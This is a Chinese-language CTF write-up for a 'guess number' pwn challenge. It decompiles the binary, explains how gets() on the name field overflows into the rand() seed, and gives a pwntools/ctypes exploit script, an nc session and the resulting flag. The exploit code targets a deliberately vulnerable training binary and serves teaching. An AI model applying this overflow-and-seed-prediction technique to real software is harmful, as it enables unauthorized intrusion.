题目描述:
菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么
题目场景:
220.249.52.133:35323
题目附件:
b59204f56a0545e8a22f8518e749f19f
题目思路:
随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。
解题过程:
载入IDA64,找到main函数,F5反编译得到伪C代码,发现输入v8名字时可以覆盖sreed[0],这样这个随机数列就可控了。
__int64 __fastcall main(__int64 a1, char **a2, char **a3){
FILE *v3; // rdi
int v5; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v7; // [rsp+Ch] [rbp-34h]
char v8; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v10; // [rsp+38h] [rbp-8h]
v10 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v5 = 0;
v7 = 0;
*(_QWORD *)seed = sub_BB0(v3, 0LL);
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v8);
srand(seed[0]);
for ( i = 0; i <= 9; ++i ){
v7 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v5);
puts("---------------------------------");
if ( v5 != v7 ){
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}
进入v8,var_30在栈中占0x20,也就是十进制的32,可以覆盖到seed。如果使输入的guessnumber,即v5=v7=随机数%6+1,即可运行sub_C3E得到flag
-0000000000000030 var_30 db ?
......
-0000000000000011 db ? ; undefined
-0000000000000010 seed dd 2 dup(?)
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。
方法一:使用python标准库中自带的ctypes模块进行python和c的混合编程。
第7行的lib/x86_64-linux-gnu/libc.so.6
文件相当于windows 的*.dll,属于动态运行库。
第8行的p32(0x1)
也可以换成p64(0x1)
,因为p32是转化成4字节,p64是转化成8字节,在参数是数字的情况下是相等的。
from pwn import *
from ctypes import *
io = remote("220.249.52.133","35323")
#io = process('./guess_num')#本地调试
#elf = ELF('./guess_num')#在脚本中通过elf文件查找
#libc = elf.libc
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")#使用ldd查找
payload = "a" * 0x20 + p32(0x1)
io.recvuntil('Your name:')
io.sendline(payload)
libc.srand(0x1)
for i in range(10):
num = str(libc.rand()%6+1)
io.recvuntil('number:')
io.sendline(num)
io.interactive()
'''giantbranch@ubuntu:~/Desktop$ python 1.py
[+] Opening connection to 220.249.52.133 on port 35323: Done
[*] Switching to interactive mode
---------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{607af6232982005da7c903b914da26f7}
[*] Got EOF while reading in interactive'''
方法二:本地编写一个python程序,使用0x61616161作为种子来生成随机数列。
from ctypes import *
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0x61616161)
for i in range(10):
num = libc.rand()%6+1
print(num)
0x61616161是a,所以在输入名字时输入很长的a就可以溢出覆盖随机种子。按照输出的顺序输入数字就可以得到flag
giantbranch@ubuntu:~/Desktop$ nc 220.249.52.133 35323
-------------------------------
Welcome to a guess number game!
-------------------------------
Please let me know your name!
Your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
......
-------------Turn:10-------------
Please input your guess number:2
---------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{
607af6232982005da7c903b914da26f7}
*** stack smashing detected ***: ./guess_num terminated
cyberpeace{607af6232982005da7c903b914da26f7}